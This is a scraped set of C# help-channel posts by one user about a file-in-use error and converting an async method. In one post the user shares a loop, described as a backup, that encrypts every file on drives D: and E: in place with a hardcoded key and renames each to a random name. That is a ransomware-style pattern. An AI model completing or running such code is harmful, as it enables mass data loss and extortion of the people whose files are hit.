c0nstant
c0nstant
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
I will come back with a solution then 😦
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
but no serriously, how do I do this?
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
😛
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
Yeah, kind of...
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
Yes, it is, so what should I do here?
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
I was thinking that maybe the Microsoft's RenameFile method has a close option or maybe it opens the file and then I can close it somehow
12 replies
CC#
Created by c0nstant on 6/11/2023 in #help
Cannot access file because it's being used by another process
I am iterating through two my of disks and then backing up all files:
string[] diskList = {"D:\\", "E:\\"};
foreach (string item in diskList)
{
string[] files = EnumerateFilesRecursive(item).ToArray();
foreach (string file in files)
{
var key = "my weak password";
var output = file;
Console.WriteLine(FileEncryptor.EncryptAsync(file, file, key));

var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);

}
}
string[] diskList = {"D:\\", "E:\\"};
foreach (string item in diskList)
{
string[] files = EnumerateFilesRecursive(item).ToArray();
foreach (string file in files)
{
var key = "my weak password";
var output = file;
Console.WriteLine(FileEncryptor.EncryptAsync(file, file, key));

var ext = RandomStringNS(12) + " - REST Database";
Microsoft.VisualBasic.FileIO.FileSystem.RenameFile(output, ext);

}
}
The encrypt method here does have Close(); implemented like at the end of it, I found the implementation from here so I just added close methods at the end of the method: https://stackoverflow.com/questions/17627326/aes-256-file-encryption-c-sharp
12 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
I am getting familiar, thanks for sharing
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
Got it
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
by returning task do you mean something like await Task.Delay(1000);?
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
thanks 🙂
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
but it worked
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
I don't know how to explain this :/
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
Somehow, it actually worked this time. So the last time I was trying to run it, my IDE had automatically added async as part of my main method, something like static async Main(string[] args) Now I rebuilt it and can finally run it
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
thanks for the advise, I will see what I can do after the changes
34 replies
CC#
Created by c0nstant on 6/10/2023 in #help
✅ [SOLVED] Need help with converting async method to a 'normal' method
I wouldn't know why would I go async, I am too used to the old ways of coding something that works, speed is not really a concern here but I would like to hear how would you do that?
34 replies